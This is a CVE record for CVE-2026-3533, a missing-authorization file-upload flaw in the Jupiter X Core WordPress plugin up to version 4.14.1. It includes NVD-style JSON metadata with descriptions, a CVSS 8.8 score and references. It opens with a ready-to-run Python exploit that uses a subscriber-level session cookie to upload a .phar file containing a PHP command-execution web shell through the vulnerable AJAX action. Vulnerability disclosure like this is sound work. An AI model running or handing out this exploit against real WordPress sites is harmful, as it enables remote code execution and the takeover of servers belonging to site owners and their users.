CVE-2026-3533

import requests # Target URL (WordPress AJAX endpoint) target = "http://example.com/wp-admin/admin-ajax.php" # Attacker's session cookie (Subscriber level) cookies = { "wordpress_logged_in_xxx": "attacker_cookie_value" } # Malicious file payload (e.g., .phar for RCE or .svg for XSS) # Exploiting the upload_files() function via import_popup_templates() files = { 'file': ('malicious.phar', b'<?php system($_GET["cmd"]); ?>', 'application/octet-stream') } data = { 'action': 'jupiterx_core_popup_import_template' # Vulnerable action } response = requests.post(target, data=data, files=files, cookies=cookies) if response.status_code == 200: print("[+] Exploit successful! File uploaded.") print("[+] Response:", response.text) else: print("[-] Exploit failed.")

{"cve": {"id": "CVE-2026-3533", "sourceIdentifier": "[email protected]", "published": "2026-03-24T00:16:30.867", "lastModified": "2026-04-24T16:32:53.997", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Jupiter X Core plugin for WordPress is vulnerable to limited file uploads due to missing authorization on import_popup_templates() function as well as insufficient file type validation in the upload_files() function in all versions up to, and including, 4.14.1. This makes it possible for Authenticated attackers with Subscriber-level access and above, to upload files with dangerous types that can lead to Remote Code Execution on servers configured to handle .phar files as executable PHP (e.g., Apache+mod_php), or Stored Cross-Site Scripting via .svg, .dfxp, or .xhtml files upload on any server configuration"}, {"lang": "es", "value": "El plugin Jupiter X Core para WordPress es vulnerable a cargas de archivos limitadas debido a la falta de autorización en la función import_popup_templates() así como a una validación insuficiente del tipo de archivo en la función upload_files() en todas las versiones hasta la 4.14.1, inclusive. Esto hace posible que atacantes autenticados con acceso de nivel Suscriptor y superior, carguen archivos con tipos peligrosos que pueden conducir a la ejecución remota de código en servidores configurados para manejar archivos .phar como PHP ejecutable (por ejemplo, Apache+mod_php), o a cross-site scripting almacenado a través de la carga de archivos .svg, .dfxp o .xhtml en cualquier configuración de servidor."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/jupiterx-core/trunk/includes/control-panel-2/includes/class-popup.php?rev=3430169#138", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/jupiterx-core/trunk/includes/extensions/raven/includes/modules/forms/classes/ajax-handler.php?rev=3430169#L434", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/jupiterx-core/trunk/includes/extensions/raven/includes/modules/forms/fields/file.php?rev=3430169#L214", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/70bc5247-525d-4aae-9d66-efd65c9beee3?source=cve", "source": "[email protected]"}]}}